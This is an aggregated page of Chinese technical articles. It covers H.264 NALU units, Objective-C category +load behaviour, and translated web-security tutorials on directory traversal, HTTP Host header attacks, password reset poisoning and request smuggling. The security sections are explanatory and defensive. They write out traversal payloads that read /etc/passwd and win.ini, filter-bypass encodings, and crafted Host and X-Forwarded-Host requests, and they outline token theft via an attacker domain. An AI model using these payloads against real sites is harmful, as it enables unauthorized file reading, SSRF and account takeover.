      NALU 是用来将编码的数据进行打包的,一个分片(Slice)可以编码到一个 NALU 单元。不过一个 NALU 单元中除了容纳分片(Slice)编码的码流外,还可以容纳其他数据,比如序列参数集 SPS。对于客户端其主要任务则是接收数据包,从数据包中解析出 NALU 单元,然后进行解码播放。

      宏块(Macroblock),分片是由宏块组成。



      作者:枫紫_6174
      链接:https://www.jianshu.com/p/9602f3c9b82b



    收起阅读 »

    Web 安全 之 Directory traversal

    Directory traversal - 目录遍历在本节中,我们将介绍什么是目录遍历,描述如何执行路径遍历攻击和绕过常见障碍,并阐明如何防止路径遍历漏洞。什么是目录遍历?目录遍历(也称为文件路径遍历)是一个 web 安全漏洞,此漏洞使攻击者能够读取运行应用程...
    继续阅读 »

    Directory traversal - 目录遍历

    在本节中,我们将介绍什么是目录遍历,描述如何执行路径遍历攻击和绕过常见障碍,并阐明如何防止路径遍历漏洞。


    什么是目录遍历?

    目录遍历(也称为文件路径遍历)是一个 web 安全漏洞,此漏洞使攻击者能够读取运行应用程序的服务器上的任意文件。这可能包括应用程序代码和数据、后端系统的凭据以及操作系统相关敏感文件。在某些情况下,攻击者可能能够对服务器上的任意文件进行写入,从而允许他们修改应用程序数据或行为,并最终完全控制服务器。

    通过目录遍历读取任意文件

    假设某个应用程序通过如下 HTML 加载图像:

    ![](/loadImage?filename=218.png)

    这个 loadImage URL 通过 filename 文件名参数来返回指定文件的内容,假设图像本身存储在路径为 /var/www/images/ 的磁盘上。应用程序基于此基准路径与请求的 filename 文件名返回如下路径的图像:

    /var/www/images/218.png

    如果该应用程序没有针对目录遍历攻击采取任何防御措施,那么攻击者可以请求类似如下 URL 从服务器的文件系统中检索任意文件:

    https://insecure-website.com/loadImage?filename=../../../etc/passwd

    这将导致如下路径的文件被返回:

    /var/www/images/../../../etc/passwd

    ../ 表示上级目录,因此这个文件其实就是:

    /etc/passwd

    在 Unix 操作系统上,这个文件是一个内容为该服务器上注册用户详细信息的标准文件。

    在 Windows 系统上,..\ 和 ../ 的作用相同,都表示上级目录,因此检索标准操作系统文件可以通过如下方式:

    https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

    利用文件路径遍历漏洞的常见障碍

    许多将用户输入放入文件路径的应用程序实现了某种应对路径遍历攻击的防御措施,然而这些措施却通常可以被规避。

    如果应用程序从用户输入的 filename 中剥离或阻止 ..\ 目录遍历序列,那么也可以使用各种技巧绕过防御。

    你可以使用从系统根目录开始的绝对路径,例如 filename=/etc/passwd 这样直接引用文件而不使用任何 ..\ 形式的遍历序列。

    你也可以嵌套的遍历序列,例如 ....// 或者 ....\/ ,即使内联序列被剥离,其也可以恢复为简单的遍历序列。

    你还可以使用各种非标准编码,例如 ..%c0%af 或者 ..%252f 以绕过输入过滤器。

    如果应用程序要求用户提供的文件名必须以指定的文件夹开头,例如 /var/www/images ,则可以使用后跟遍历序列的方式绕过,例如:

    filename=/var/www/images/../../../etc/passwd

    如果应用程序要求用户提供的文件名必须以指定的后缀结尾,例如 .png ,那么可以使用空字节在所需扩展名之前有效地终止文件路径并绕过检查:

    filename=../../../etc/passwd%00.png

    如何防御目录遍历攻击

    防御文件路径遍历漏洞最有效的方式是避免将用户提供的输入直接完整地传递给文件系统 API 。许多实现此功能的应用程序部分可以重写,以更安全的方式提供相同的行为。

    如果认为将用户输入传递到文件系统 API 是不可避免的,则应该同时使用以下两层防御措施:

    • 应用程序对用户输入进行严格验证。理想情况下,通过白名单的形式只允许明确的指定值。如果无法满足需求,那么应该验证输入是否只包含允许的内容,例如纯字母数字字符。
    • 验证用户输入后,应用程序应该将输入附加到基准目录下,并使用平台文件系统 API 规范化路径,然后验证规范化后的路径是否以基准目录开头。

    下面是一个简单的 Java 代码示例,基于用户输入验证规范化路径:

    File file = new File(BASE_DIRECTORY, userInput);
    if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
    // process file
    }

    原文链接:https://segmentfault.com/a/1190000039307155


    收起阅读 »

    iOS Cateogry的深入理解

    首先先看几个面试问题Cateogry里面有load方法么? load方法什么时候调用?load方法有继承么?1. 新建一个项目,并添加TCPerson类,并给TCPerson添加两个分类2.新建一个TCStudent类继承自TCPerson,并且给T...
    继续阅读 »

    首先先看几个面试问题

    • Cateogry里面有load方法么? load方法什么时候调用?load方法有继承么?

    1. 新建一个项目,并添加TCPerson类,并给TCPerson添加两个分类


    2.新建一个TCStudent类继承自TCPerson,并且给TCStudent也添加两个分类



    Cateogry里面有load方法么?

    答:分类里面肯定有load

    #import "TCPerson.h"

    @implementation TCPerson
    + (void)load{

    }
    @end


    #import "TCPerson+TCtest1.h"

    @implementation TCPerson (TCtest1)
    + (void)load{

    }
    @end
    #import "TCPerson+TCTest2.h"

    @implementation TCPerson (TCTest2)
    + (void)load{

    }
    @end

    load方法什么时候调用?

    load方法在runtime加载类和分类的时候调用load

    #import <Foundation/Foundation.h>

    int main(int argc, const char * argv[]) {
    @autoreleasepool {

    }
    return 0;
    }


    @implementation TCPerson
    + (void)load{
    NSLog(@"TCPerson +load");
    }
    @end


    @implementation TCPerson (TCtest1)
    + (void)load{
    NSLog(@"TCPerson (TCtest1) +load");
    }
    @end
    @implementation TCPerson (TCTest2)
    + (void)load{
    NSLog(@"TCPerson (TCtest2) +load");
    }
    @end
    可以看到我们在main里面不导入任何的头文件,也不引用任何的类,直接运行,控制台输出结果:



    从输出结果我们可以看出,三个load方法都被调用

    问题:分类重写方法,真的是覆盖原有类的方法么?如果不是,到底分类的方法是怎么调用的?

    首先我们在TCPerson申明一个方法+ (void)test并且在它的两个分类都重写+ (void)test

    #import <Foundation/Foundation.h>

    NS_ASSUME_NONNULL_BEGIN

    @interface TCPerson : NSObject
    + (void)test;
    @end

    NS_ASSUME_NONNULL_END

    #import "TCPerson.h"

    @implementation TCPerson
    + (void)load{
    NSLog(@"TCPerson +load");
    }
    + (void)test{
    NSLog(@"TCPerson +test");
    }
    @end

    分类重写test
    #import "TCPerson+TCtest1.h"

    @implementation TCPerson (TCtest1)
    + (void)load{
    NSLog(@"TCPerson (TCtest1) +load");
    }
    + (void)test{
    NSLog(@"TCPerson (TCtest1) +test1");
    }
    @end

    #import "TCPerson+TCTest2.h"

    @implementation TCPerson (TCTest2)
    + (void)load{
    NSLog(@"TCPerson (TCtest2) +load");
    }
    + (void)test{
    NSLog(@"TCPerson (TCtest2) +test2");
    }
    @end

    在main里面我们调用test

    #import <Foundation/Foundation.h>
    #import "TCPerson.h"
    int main(int argc, const char * argv[]) {
    @autoreleasepool {
    [TCPerson test];
    }
    return 0;
    }

    输出结果:



    从输出结果中我们可以看到,只有分类2中的test被调用,为什么只调用分类2中的test了?



    因为编译顺序是分类2在后,1在前,这个时候我们改变编译顺序(拖动文件就行了)




    其输出结果为:



    细心的老铁会看到,为什么load方法一直都在调用,这是为什么了?它和test方法到底有什么不同了?真的是我们理解中的load不覆盖,test覆盖了,所以才出现这种情况么?


    我们打印TCPerson的类方法


    void printMethodNamesOfClass(Class cls)
    {
    unsigned int count;
    // 获得方法数组
    Method *methodList = class_copyMethodList(cls, &count);

    // 存储方法名
    NSMutableString *methodNames = [NSMutableString string];

    // 遍历所有的方法
    for (int i = 0; i < count; i++) {
    // 获得方法
    Method method = methodList[I];
    // 获得方法名
    NSString *methodName = NSStringFromSelector(method_getName(method));
    // 拼接方法名
    [methodNames appendString:methodName];
    [methodNames appendString:@", "];
    }

    // 释放
    free(methodList);

    // 打印方法名
    NSLog(@"%@ %@", cls, methodNames);
    }
    int main(int argc, const char * argv[]) {
    @autoreleasepool {
    [TCPerson test];
    printMethodNamesOfClass(object_getClass([TCPerson class]));
    }
    return 0;
    }

    输出结果:




    可以看到,TCPerson的所有类方法名,并不是覆盖,三个load,三个test,方法都在

    load源码分析:查看objc底层源码我们可以看到:

    void call_load_methods(void)
    {
    static bool loading = NO;
    bool more_categories;

    loadMethodLock.assertLocked();

    // Re-entrant calls do nothing; the outermost call will finish the job.
    if (loading) return;
    loading = YES;

    void *pool = objc_autoreleasePoolPush();

    do {
    // 1. Repeatedly call class +loads until there aren't any more
    while (loadable_classes_used > 0) {
    call_class_loads();
    }

    // 2. Call category +loads ONCE
    more_categories = call_category_loads();

    // 3. Run more +loads if there are classes OR more untried categories
    } while (loadable_classes_used > 0 || more_categories);

    objc_autoreleasePoolPop(pool);

    loading = NO;
    }

    load方法它是先调用 while (loadable_classes_used > 0) {call_class_loads(); }类的load,再调用more_categories = call_category_loads()分类的load,和编译顺序无关,都会调用
    我们查看call_class_loads()方法

    static void call_class_loads(void)
    {
    int I;

    // Detach current loadable list.
    struct loadable_class *classes = loadable_classes;
    int used = loadable_classes_used;
    loadable_classes = nil;
    loadable_classes_allocated = 0;
    loadable_classes_used = 0;

    // Call all +loads for the detached list.
    for (i = 0; i < used; i++) {
    Class cls = classes[i].cls;
    load_method_t load_method = (load_method_t)classes[i].method;
    if (!cls) continue;

    if (PrintLoading) {
    _objc_inform("LOAD: +[%s load]\n", cls->nameForLogging());
    }
    (*load_method)(cls, SEL_load);
    }

    // Destroy the detached list.
    if (classes) free(classes);
    }

    其通过的是load_method_t函数指针直接调用
    函数指针直接调用

    typedef void(*load_method_t)(id, SEL);
    其分类load方法调用也是一样

    static bool call_category_loads(void)
    {
    int i, shift;
    bool new_categories_added = NO;

    // Detach current loadable list.
    struct loadable_category *cats = loadable_categories;
    int used = loadable_categories_used;
    int allocated = loadable_categories_allocated;
    loadable_categories = nil;
    loadable_categories_allocated = 0;
    loadable_categories_used = 0;

    // Call all +loads for the detached list.
    for (i = 0; i < used; i++) {
    Category cat = cats[i].cat;
    load_method_t load_method = (load_method_t)cats[i].method;
    Class cls;
    if (!cat) continue;

    cls = _category_getClass(cat);
    if (cls && cls->isLoadable()) {
    if (PrintLoading) {
    _objc_inform("LOAD: +[%s(%s) load]\n",
    cls->nameForLogging(),
    _category_getName(cat));
    }
    (*load_method)(cls, SEL_load);
    cats[i].cat = nil;
    }
    }

    为什么test不一样了

    因为test是因为消息机制调用的,objc_msgSend([TCPerson class], @selector(test));消息机制就牵扯到了isa方法查找,test在元类方法里面顺序查找的



    load只在加载类的时候调用一次,且先调用类的load,再调用分类的

    load的继承关系调用
    首先我们先看TCStudent

    #import "TCStudent.h"

    @implementation TCStudent

    @end
    不写load方法调用


    TCStudent写上load


    从中可以看出子类不写load的方法,调用父类的load,当子类调用load时,先调用父类的load,再调用子类的load,父类子类load取决于你写load方法没有,如果都写了,先调用父类的,再调用子类的

    总结:先调用类的load,如果有子类,则先看子类是否写了load,如果写了,则先调用父类的load,再调用子类的load,当类子类调用完了,再是分类,分类的load取决于编译顺序,先编译,则先调用,test的方法调用走的是消息发送机制,其底层原理和load方法有着本质的区别,消息发送主要取决于isa的方法查找顺序



    作者:枫紫_6174
    链接:https://www.jianshu.com/p/f66921e24ffe




    收起阅读 »

    Web 安全 之 HTTP Host header attacks

    HTTP Host header attacks在本节中,我们将讨论错误的配置和有缺陷的业务逻辑如何通过 HTTP Host 头使网站遭受各种攻击。我们将概述识别易受 HTTP Host 头攻击的网站的高级方法,并演示如何利用此方法。最后,我们将提供一些有关如...
    继续阅读 »

    HTTP Host header attacks

    在本节中,我们将讨论错误的配置和有缺陷的业务逻辑如何通过 HTTP Host 头使网站遭受各种攻击。我们将概述识别易受 HTTP Host 头攻击的网站的高级方法,并演示如何利用此方法。最后,我们将提供一些有关如何保护自己网站的一般建议。


    什么是 HTTP Host 头

    从 HTTP/1.1 开始,HTTP Host 头是一个必需的请求头,其指定了客户端想要访问的域名。例如,当用户访问 https://portswigger.net/web-security 时,浏览器将会发出一个包含 Host 头的请求:

    GET /web-security HTTP/1.1
    Host: portswigger.net

    在某些情况下,例如当请求被中介系统转发时,Host 值可能在到达预期的后端组件之前被更改。我们将在下面更详细地讨论这种场景。

    HTTP Host 头的作用是什么

    HTTP Host 头的作用就是标识客户端想要与哪个后端组件通信。如果请求没有 Host 头或者 Host 格式不正确,则把请求路由到预期的应用程序时会出现问题。

    历史上因为每个 IP 地址只会托管单个域名的内容,所以并不存在模糊性。但是如今,由于基于云的解决方案和相关架构的不断增长,使得多个网站和应用程序在同一个 IP 地址访问变得很常见,这种方式也越来越受欢迎,部分原因是 IPv4 地址耗尽。

    当多个应用程序通过同一个 IP 地址访问时,通常是以下情况之一。

    虚拟主机

    一种可能的情况是,一台 web 服务器部署多个网站或应用程序,这可能是同一个所有者拥有多个网站,也有可能是不同网站的所有者部署在同一个共享平台上。这在以前不太常见,但在一些基于云的 SaaS 解决方案中仍然会出现。

    在这种情况下,尽管每个不同的网站都有不同的域名,但是他们都与服务器共享同一个 IP 地址。这种单台服务器托管多个网站的方式称为“虚拟主机”。

    对于访问网站的普通用户来说,通常无法区分网站使用的是虚拟主机还是自己的专用服务器。

    通过中介路由流量

    另一种常见的情况是,网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都会通过中间系统路由。中间系统可能是一个简单的负载均衡器或某种反向代理服务器。当客户端通过 CDN 访问网站时,这种情况尤其普遍。

    在这种情况下,即使不同的网站托管在不同的后端服务器上,但是他们的所有域名都需要解析为中间系统这个 IP 地址。这也带来了一些与虚拟主机相同的挑战,即反向代理或负载均衡服务器需要知道怎么把每个请求路由到哪个合适的后端。

    HTTP Host 头如何解决这个问题

    解决上述的情况,都需要依赖于 Host 头来指定请求预期的接收方。一个常见的比喻是给住在公寓楼里的某个人写信的过程。整栋楼都是同一个街道地址,但是这个街道地址后面有许多个不同的公寓房间,每个公寓房间都需要以某种方式接受正确的邮件。解决这个问题的一个方法就是简单地在地址中添加公寓房间号码或收件人的姓名。对于 HTTP 消息而言,Host 头的作用与之类似。

    当浏览器发送请求时,目标 URL 将解析为特定服务器的 IP 地址,当服务器收到请求时,它使用 Host 头来确定预期的后端并相应地转发该请求。

    什么是 HTTP Host 头攻击

    HTTP Host 头攻击会利用以不安全的方式处理 Host 头的漏洞网站。如果服务器隐式信任 Host 标头,且未能正确验证或转义它,则攻击者可能会使用此输入来注入有害的有效负载,以操纵服务器端的行为。将有害负载直接注入到 Host 头的攻击通常称为 "Host header injection"(主机头注入攻击)。

    现成的 web 应用通常不知道它们部署在哪个域上,除非在安装过程中手动配置指定了它。此时当他们需要知道当前域时,例如要生成电子邮件中包含的 URL ,他们可能会从 Host 头检索域名:

    <a href="https://_SERVER['HOST']/support">Contact support</a>

    标头的值也可以用于基础设施内不同系统之间的各种交互。

    由于 Host 头实际上用户可以控制的,因此可能会导致很多问题。如果输入没有正确的转义或验证,则 Host 头可能会成为利用其他漏洞的潜在载体,最值得注意的是:

    • Web 缓存中毒
    • 特定功能中的业务逻辑缺陷
    • 基于路由的 SSRF
    • 典型的服务器漏洞,如 SQL 注入

    HTTP Host 漏洞是如何产生的

    HTTP Host 漏洞的产生通常是基于存在缺陷的假设,即误认为 Host 头是用户不可控制的。这导致 Host 头被隐式信任了,其值未进行正确的验证或转义,而攻击者可以使用工具轻松地修改 Host 。

    即使 Host 头本身得到了安全的处理,也可以通过注入其他标头来覆盖 Host ,这取决于处理传入请求的服务器的配置。有时网站所有者不知道默认情况下这些可以覆盖 Host 的标头是受支持的,因此,可能不会进行严格的审查。

    实际上,许多漏洞并不是由于编码不安全,而是由于相关基础架构中的一个或多个组件的配置不安全。之所以会出现这些配置问题,是因为网站将第三方技术集成到其体系架构中,而未完全了解配置选项及其安全含义。

    利用 HTTP Host 头漏洞

    详细内容请查阅本章下文。

    如何防御 HTTP Host 头攻击

    防御 HTTP Host 头攻击最简单的方法就是避免在服务端代码中使用 Host 头。仔细检查下每个 URL 地址是否真的绝对需要,你经常会发现你可以用一个相对的 URL 地址替代。这个简单的改变可以帮助你防御 web 缓存中毒。

    其他防御措施有:

    保护绝对的 URL 地址

    如果你必须使用绝对的 URL 地址,则应该在配置文件中手动指定当前域名并引用此值,而不是 Host 头的值。这种方法将消除密码重置中毒的威胁。

    验证 Host 头

    如果必须使用 Host 头,请确保正确验证它。这包括对照允许域的白名单进行检查,拒绝或重定向无法识别的 Host 的任何请求。你应该查阅所使用的框架的相关文档。例如 Django 框架在配置文件中提供了 ALLOWED_HOSTS 选项,这将减少你遭受主机标头注入攻击的风险。

    不支持能够重写 Host 的头

    检查你是否不支持可能用于构造攻击的其他标头,尤其是 X-Forwarded-Host ,牢记默认情况下这些头可能是被允许的。

    使用内部虚拟主机时要小心

    使用虚拟主机时,应避免将内部网站和应用程序托管到面向公开内容的服务器上。否则,攻击者可能会通过 Host 头来访问内部域。


    如何识别和利用 HTTP Host 头漏洞

    在本节中,我们将更仔细地了解如何识别网站是否存在 HTTP Host 头漏洞。然后,我们将提供一些示例,说明如何利用此漏洞。

    如何使用 HTTP Host 头测试漏洞

    要测试网站是否易受 HTTP Host 攻击,你需要一个拦截代理(如 Burp proxy )和手动测试工具(如 Burp Repeater 和 Burp intruiter )。

    简而言之,你需要能够修改 Host 标头,并且你的请求能够到达目标应用程序。如果是这样,则可以使用此标头来探测应用程序,并观察其对响应的影响。

    提供一个任意的 Host 头

    在探测 Host 头注入漏洞时,第一步测试是给 Host 头设置任意的、无法识别的域名,然后看看会发生什么。

    一些拦截代理直接从 Host 头连接目标 IP 地址,这使得这种测试几乎不可能;对报头所做的任何更改都会导致请求发送到完全不同的 IP 地址。然而,Burp Suite 精确地保持了主机头和目标 IP 地址之间的分离,这种分离允许你提供所需的任意或格式错误的主机头,同时仍然确保将请求发送到预期目标。

    有时,即使你提供了一个意外的 Host 头,你仍然可以访问目标网站。这可能有很多原因。例如,服务器有时设置了默认或回退选项,以处理无法识别的域名请求。如果你的目标网站碰巧是默认的,那你就走运了。在这种情况下,你可以开始研究应用程序对 Host 头做了什么,以及这种行为是否可利用。

    另一方面,由于 Host 头是网站工作的基本部分,篡改它通常意味着你将无法访问目标应用程序。接收到你的请求的反向代理或负载平衡器可能根本不知道将其转发到何处,从而响应 "Invalid Host header" 这种错误。如果你的目标很可能是通过 CDN 访问的。在这种情况下,你应该继续尝试下面概述的一些技术。

    检查是否存在验证缺陷

    你可能会发现你的请求由于某种安全措施而被阻止,而不是收到一个 "Invalid Host header" 响应。例如,一些网站将验证 Host 头是否与 TLS 握手的 SNI 匹配。这并不意味着它们对 Host 头攻击免疫。

    你应该试着理解网站是如何解析 Host 头的。这有时会暴露出一些可以用来绕过验证的漏洞。例如,一些解析算法可能会忽略主机头中的端口,这意味着只有域名被验证。只要你提供一个非数字端口,保持域名不变,就可以确保你的请求到达目标应用程序,同时可以通过端口注入有害负载。

    GET /example HTTP/1.1
    Host: vulnerable-website.com:bad-stuff-here

    某些网站的验证逻辑可能是允许任意子域。在这种情况下,你可以通过注册任意子域名来完全绕过验证,该域名以白名单中域名的相同字符串结尾:

    GET /example HTTP/1.1
    Host: notvulnerable-website.com

    或者,你可以利用已经泄露的不安全的子域:

    GET /example HTTP/1.1
    Host: hacked-subdomain.vulnerable-website.com

    有关常见域名验证缺陷的进一步示例,请查看我们有关规避常见的 SSRF 防御和 Origin 标头解析错误的内容。

    发送不明确的请求

    验证 Host 的代码和易受攻击的代码通常在应用程序的不同组件中,甚至位于不同的服务器上。通过识别和利用它们处理 Host 头的方式上的差异,你可以发出一个模棱两可的请求。

    以下是几个示例,说明如何创建模棱两可的请求。

    注入重复的 Host 头

    一种可能的方法是尝试添加重复的 Host 头。诚然,这通常只会导致你的请求被阻止。但是,由于浏览器不太可能发送这样的请求,你可能会偶尔发现开发人员没有预料到这种情况。在这种情况下,你可能会发现一些有趣的行为怪癖。

    不同的系统和技术将以不同的方式处理这种情况,但具体使用哪个 Host 头可能会存在差异,你可以利用这些差异。考虑以下请求:

    GET /example HTTP/1.1
    Host: vulnerable-website.com
    Host: bad-stuff-here

    假设转发服务优先使用第一个标头,但是后端服务器优先使用最后一个标头。在这种情况下,你可以使用第一个报头来确保你的请求被路由到预期的目标,并使用第二个报头将你的有效负载传递到服务端代码中。

    提供一个绝对的 URL 地址

    虽然请求行通常是指定请求域上的相对路径,但许多服务器也被配置为理解绝对 URL 地址的请求。

    同时提供绝对 URL 和 Host 头所引起的歧义也可能导致不同系统之间的差异。规范而言,在路由请求时,应优先考虑请求行,但实际上并非总是如此。你可以像重复 Host 头一样利用这些差异。

    GET https://vulnerable-website.com/ HTTP/1.1
    Host: bad-stuff-here

    请注意,你可能还需要尝试不同的协议。对于请求行是包含 HTTP 还是 HTTPS URL,服务器的行为有时会有所不同。

    添加 line wrapping

    你还可以给 HTTP 头添加空格缩进,从而发现奇怪的行为。有些服务器会将缩进的标头解释为换行,因此将其视为前一个标头值的一部分。而其他服务器将完全忽略缩进的标头。

    由于对该场景的处理极不一致,处理你的请求的不同系统之间通常会存在差异。考虑以下请求:

    GET /example HTTP/1.1
    Host: bad-stuff-here
    Host: vulnerable-website.com

    网站可能会阻止具有多个 Host 标头的请求,但是你可以通过缩进其中一个来绕过此验证。如果转发服务忽略缩进的标头,则请求会被当做访问 vulnerable-website.com 的普通请求。现在让我们假设后端忽略前导空格,并在出现重复的情况下优先处理第一个标头,这时你就可以通过 "wrapped" Host 头传递任意值。

    其他技术

    这只是发布有害且模棱两可的请求的许多可能方法中的一小部分。例如,你还可以采用 HTTP 请求走私技术来构造 Host 头攻击。请求走私的详细内容请查看该主题文章。

    注入覆盖 Host 的标头

    即使不能使用不明确的请求重写 Host 头,也有其他在保持其完整的同时重写其值的可能。这包括通过其他的 HTTP Host 标头注入有效负载,这些标头的设计就是为了达到这个目的。

    正如我们已经讨论过的,网站通常是通过某种中介系统访问的,比如负载均衡器或反向代理。在这种架构中,后端服务器接收到的 Host 头可能是这些中间系统的域名。这通常与请求的功能无关。

    为了解决这个问题,前端服务器(转发服务)可以注入 X-Forwarded-Host 头来标明客户端初始请求的 Host 的原始值。因此,当 X-Forwarded-Host 存在时,许多框架会引用它。即使没有前端使用此标头,也可以观察到这种行为。

    你有时可以用 X-Forwarded-Host 绕过 Host 头的任何验证的并注入恶意输入。

    GET /example HTTP/1.1
    Host: vulnerable-website.com
    X-Forwarded-Host: bad-stuff-here

    尽管 X-Forwarded-Host 是此行为的实际标准,你可能也会遇到其他具有类似用途的标头,包括:

    • X-Host
    • X-Forwarded-Server
    • X-HTTP-Host-Override
    • Forwarded

    从安全角度来看,需要注意的是,有些网站,甚至可能是你自己的网站,无意中支持这种行为。这通常是因为在它们使用的某些第三方技术中,这些报头中的一个或多个是默认启用的。

    如何利用 HTTP Host 头

    一旦确定可以向目标应用程序传递任意主机名,就可以开始寻找利用它的方法。

    在本节中,我们将提供一些你可以构造的常见 HTTP Host 头攻击的示例。

    • 密码重置中毒
    • Web 缓存中毒
    • 利用典型的服务器端漏洞
    • 绕过身份验证
    • 虚拟主机暴力破解
    • 基于路由的 SSRF

    密码重置中毒

    攻击者有时可以使用 Host 头进行密码重置中毒攻击。更多内容参见本系列相关部分。

    通过 Host 头的 Web 缓存中毒

    在探测潜在的 Host 头攻击时,你经常会遇到看似易受攻击但并不能直接利用的情况。例如,你可能会发现 Host 头在没有 HTML 编码的情况下反映在响应标记中,甚至直接用于脚本导入。反射的客户端漏洞(例如 XSS )由 Host 标头引起时通常无法利用。攻击者没法强迫受害者的浏览器请求不正确的主机。

    但是,如果目标使用了 web 缓存,则可以通过缓存向其他用户提供中毒响应,将这个无用的、反射的漏洞转变为危险的存储漏洞。

    要构建 web 缓存中毒攻击,需要从服务器获取反映已注入负载的响应。不仅如此,你还需要找到其他用户请求也同时使用的缓存键。如果成功,下一步是缓存此恶意响应。然后,它将被提供给任何试图访问受影响页面的用户。

    独立缓存通常在缓存键中包含 Host 头,因此这种方法通常在集成的应用程序级缓存上最有效。也就是说,前面讨论的技术有时甚至可以毒害独立的 web 缓存系统。

    Web 缓存中毒有一个独立的专题讨论。

    利用典型的服务端漏洞

    每个 HTTP 头都是利用典型服务端漏洞的潜在载体,Host 头也不例外。例如,你可以通过 Host 头探测试试平常的 SQL 注入。如果 Host 的值被传递到 SQL 语句中,这可能是可利用的。

    访问受限功能

    某些网站只允许内部用户访问某些功能。但是,这些网站的访问控制可能会做出错误的假设,允许你通过对 Host 头进行简单的修改来绕过这些限制。这会成为其他攻击的切入点。

    暴力破解使用虚拟主机的内部网站

    公司有时会犯这样的错误:在同一台服务器上托管可公开访问的网站和私有的内部网站。服务器通常有一个公共的和一个私有的 IP 地址。由于内部主机名可能会解析为私有的 IP 地址,因此仅通过查看 DNS 记录无法检测到这种情况:

    www.example.com:12.34.56.78
    intranet.example.com:10.0.0.132

    在某些情况下,内部站点甚至可能没有与之关联的公开 DNS 记录。尽管如此,攻击者通常可以访问他们有权访问的任何服务器上的任何虚拟主机,前提是他们能够猜出主机名。如果他们通过其他方式发现了隐藏的域名,比如信息泄漏,他们就可以直接发起请求。否则,他们只能使用诸如 Burp intruiter 这样的工具,通过候选子域的简单单词表对虚拟主机进行暴力破解。

    基于路由的 SSRF

    有时还可能使用 Host 头发起高影响、基于路由的 SSRF 攻击。这有时被称为 "Host header SSRF attacks" 。

    经典的 SSRF 漏洞通常基于 XXE 或可利用的业务逻辑,该逻辑将 HTTP 请求发送到从用户可控制的输入派生的 URL 。另一方面,基于路由的 SSRF 依赖于利用在许多基于云的架构中流行的中间组件。这包括内部负载均衡器和反向代理。

    尽管这些组件部署的目的不同,但基本上,它们都会接收请求并将其转发到适当的后端。如果它们被不安全地配置,转发未验证 Host 头的请求,它们就可能被操纵以将请求错误地路由到攻击者选择的任意系统。

    这些系统是很好的目标,它们处于一个特权网络位置,这使它们可以直接从公共网络接收请求,同时还可以访问许多、但不是全部的内部网络。这使得 Host 头成为 SSRF 攻击的强大载体,有可能将一个简单的负载均衡器转换为通向整个内部网络的网关。

    你可以使用 Burp Collaborator 来帮助识别这些漏洞。如果你在 Host 头中提供 Collaborator 服务器的域,并且随后从目标服务器或其他路径内的系统收到了 DNS 查询,则表明你可以将请求路由到任意域。

    在确认可以成功地操纵中介系统以将请求路由到任意公共服务器之后,下一步是查看能否利用此行为访问内部系统。为此,你需要标识在目标内部网络上使用的私有 IP 地址。除了应用程序泄漏的 IP 地址外,你还可以扫描属于该公司的主机名,以查看是否有解析为私有 IP 地址的情况。如果其他方法都失败了,你仍然可以通过简单地强制使用标准私有 IP 范围(例如 192.168.0.0/16 )来识别有效的 IP 地址。

    通过格式错误的请求行进行 SSRF

    自定义代理有时无法正确地验证请求行,这可能会使你提供异常的、格式错误的输入,从而带来不幸的结果。

    例如,反向代理可能从请求行获取路径,然后加上了前缀 http://backend-server,并将请求路由到上游 URL 。如果路径以 / 开头,这没有问题,但如果以 @ 开头呢?

    GET @private-intranet/example HTTP/1.1

    此时,上游的 URL 将是 http://backend-server@private-intranet/example,大多数 HTTP 库将认为访问的是 private-intranet 且用户名是 backend-server


    Password reset poisoning

    密码重置中毒是一种技术,攻击者可以利用该技术来操纵易受攻击的网站,以生成指向其控制下的域的密码重置链接。这种行为可以用来窃取重置任意用户密码所需的秘密令牌,并最终危害他们的帐户。

    密码重置是如何工作的

    几乎所有需要登录的网站都实现了允许用户在忘记密码时重置密码的功能。实现这个功能有好几种方法,其中一个最常见的方法是:

    1. 用户输入用户名或电子邮件地址,然后提交密码重置请求。
    2. 网站检查该用户是否存在,然后生成一个临时的、唯一的、高熵的 token 令牌,并在后端将该令牌与用户的帐户相关联。
    3. 网站向用户发送一封包含重置密码链接的电子邮件。用户的 token 令牌作为 query 参数包含在相应的 URL 中,如 https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
    4. 当用户访问此 URL 时,网站会检查所提供的 token 令牌是否有效,并使用它来确定要重置的帐户。如果一切正常,用户就可以设置新密码了。最后,token 令牌被销毁。

    与其他一些方法相比,这个过程足够简单并且相对安全。然而,它的安全性依赖于这样一个前提:只有目标用户才能访问他们的电子邮件收件箱,从而使用他们的 token 令牌。而密码重置中毒就是一种窃取此 token 令牌以更改其他用户密码的方法。

    如何构造一个密码重置中毒攻击

    如果发送给用户的 URL 是基于可控制的输入(例如 Host 头)动态生成的,则可以构造如下所示的密码重置中毒攻击:

    1. 攻击者根据需要获取受害者的电子邮件地址或用户名,并代表受害者提交密码重置请求,但是这个请求被修改了 Host 头,以指向他们控制的域。我们假设使用的是 evil-user.net 。
    2. 受害者收到了网站发送的真实的密码重置电子邮件,其中包含一个重置密码的链接,以及与他们的帐户相关联的 token 令牌。但是,URL 中的域名指向了攻击者的服务器:https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j 。
    3. 如果受害者点击了此链接,则密码重置的 token 令牌将被传递到攻击者的服务器。
    4. 攻击者现在可以访问网站的真实 URL ,并使用盗取的受害者的 token 令牌,将用户的密码重置为自己的密码,然后就可以登录到用户的帐户了。

    在真正的攻击中,攻击者可能会伪造一个假的警告通知来提高受害者点击链接的概率。

    即使不能控制密码重置的链接,有时也可以使用 Host 头将 HTML 注入到敏感的电子邮件中。请注意,电子邮件客户端通常不执行 JavaScript ,但其他 HTML 注入技术如悬挂标记攻击可能仍然适用。

    原文链接:https://segmentfault.com/a/1190000039350947

    收起阅读 »

    Web 安全 之 HTTP request smuggling

    HTTP request smuggling在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。什么是 HTTP 请求走私HTTP 请求走私是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大,它使攻击者可以...
    继续阅读 »

    HTTP request smuggling

    在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。

    什么是 HTTP 请求走私

    HTTP 请求走私是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。


    HTTP 请求走私到底发生了什么

